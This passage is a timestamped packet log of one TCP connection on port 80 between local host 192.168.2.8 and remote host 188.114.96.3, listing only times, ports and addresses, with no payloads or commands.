Nov 5, 2024 12:43:37.565058947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565072060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565072060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565084934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565093040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565112114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565125942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565146923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565159082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565175056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565185070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565188885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565201044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565202951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565237045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565269947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565280914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565311909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565407038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565419912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565433025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565443993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565453053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565464020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565491915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565551996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565563917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565574884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565586090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565593004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565608978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565629959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565716028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565726042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565759897 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565798998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565812111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565823078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565836906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565851927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565896034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565937996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565968037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565979958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566011906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566138029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566154003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566165924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566175938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566179991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566191912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566193104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566200972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566215038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566235065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566261053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566272020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566282988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566294909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566310883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566320896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566512108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566524982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566551924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566565037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566649914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566662073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566673040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566685915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566689968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566698074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566709995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566715002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566723108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566735983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566745996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566764116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566771030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566776991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566788912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566801071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566829920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566915035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566926956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566937923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566950083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.566952944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566972017 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.566998959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567045927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567059040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567070007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567086935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567086935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567111015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567131996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567172050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567183971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567195892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567209005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567212105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567223072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567234039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567260981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567347050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567359924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567380905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567393064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567409039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567420006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567420959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567434072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567437887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567445993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567456961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567456961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567466974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567485094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567492962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567493916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567533970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567554951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567567110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567586899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567598104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567609072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567620993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567625046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567672968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567691088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567747116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567759037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567770004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567775965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567804098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567804098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567816019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567831039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567841053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567842960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567861080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567868948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567879915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567886114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567892075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.567907095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.567922115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568002939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568011045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568042994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568053961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568057060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568068027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568080902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568092108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568109989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568243027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568253994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568263054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568274021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568281889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568294048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568304062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568305016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568316936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568327904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568336010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568339109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568353891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568377972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568454981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568464994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568475008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568485022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568491936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568495989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568507910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568536043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568567991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568579912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568604946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568624020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568675041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568686008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568696976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568710089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568717957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568731070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568744898 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568764925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568768024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568778992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568789005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568800926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568826914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568918943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568929911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568938971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568948984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568959951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568963051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.568972111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.568977118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569005013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569073915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569082975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569106102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569108963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569117069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569128990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569128990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569142103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569150925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569178104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569267988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569278002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569287062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569297075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569305897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569309950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569318056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569327116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569329023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569345951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569363117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569375992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569386959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569396973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569412947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569432020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569506884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569519997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569529057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.569550037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.569570065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593445063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593466997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593477964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593497038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593502045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593508959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593532085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593542099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593550920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593558073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593580961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593605042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593607903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593647957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593678951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593691111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593703032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.593715906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593728065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.593740940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597249031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597270012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597281933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597296953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597309113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597320080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597323895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597343922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597352982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597363949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597369909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597381115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597388983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597393036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597419977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597484112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597493887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597524881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597563028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597572088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597603083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597670078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597681046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597691059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597713947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597733974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597739935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597750902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597767115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597775936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597778082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597791910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597794056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597805977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597829103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597862005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597877979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597887993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597919941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.597964048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597975016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597985029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.597995043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598002911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598004103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598016024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598016024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598042965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598063946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598093033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598104000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598113060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598123074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598136902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598151922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598201990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598241091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598273039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598284006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598294973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598315954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598336935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598493099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598532915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598618031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598629951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598639965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598655939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598663092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598670006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598685980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598700047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598783970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598794937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598804951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598814011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598824978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598829031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598850012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598864079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598933935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598944902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598953962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598964930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598973989 CET	80	49711	188.114.96.3	192.168.2.8
